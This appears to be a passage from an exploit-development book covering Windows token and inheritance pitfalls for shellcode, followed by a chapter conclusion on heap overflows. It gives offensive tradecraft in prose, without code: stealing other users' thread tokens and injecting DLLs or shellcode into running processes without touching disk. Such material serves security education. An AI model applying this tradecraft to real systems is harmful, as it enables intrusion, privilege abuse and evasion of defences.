Windows inheritance is the one concept a Unix coder has trouble getting used to. In fact, most Windows programmers have no idea how Windows inheritance works, including those at Microsoft itself. Windows inheritance and

access tokens can make an exploit developer's life difficult in many ways. Once you're in `cmd.exe`, you've given up the ability to transfer files effectively, which a custom shellcode could have made easy. In addition, you've given up access to the entire Win32 API, which offers much more functionality than the default Win32 shell. You have also given up your current thread's token and replaced it with the primary token of the process. In some cases, the primary token will be `LOCAL/SYSTEM`; in other cases, `IWAM` or `IUSR` or some other low-privileged user.

This quirk can stymie you, especially when you use your shellcode to transfer a file to the remote host and then execute it. You will realize that the spawned process may not have the ability to read its own executable—it may be running as an entirely different user than what you expected. So, stay in your original process and write a server that lets you have access to all the API calls you'll need. That way you may be able to plunder the thread tokens of other users, for example, and write and read to files as those users. And who knows what other resources may be available to the current process that are marked non-inheritable?

If you do ever want to spawn a process as the user you're impersonating, you will have to brave `CreateProcessAsUser()` and use Windows privileges, primary tokens, and other silly Win32 tricks. Use the tools on Sysinternals (`http://www.microsoft.com/technet/sysinternals/`), especially the Process Explorer, to analyze token issues. Token idiosyncrasies are invariably the answer to the question: "Why doesn't my Windows shellcode work the way I'd expected it to?"

Conclusion

In this chapter, we worked through how to perform basic, intermediate, and advanced heap overflows. Heap overflows are much more difficult than stack-based overflows, and require a detailed knowledge of system internals in order to orchestrate them correctly. Do not get frustrated if you don't succeed at your first attempt: hacking is a trial-and-error process.

If you are interested in advancing the art of Windows shellcode, we recommend that you either send a DLL across the wire and link it into a running process (without writing it to the disk, of course), or dynamically create shellcode and inject it into a running process, linking it with whatever function pointers are necessary.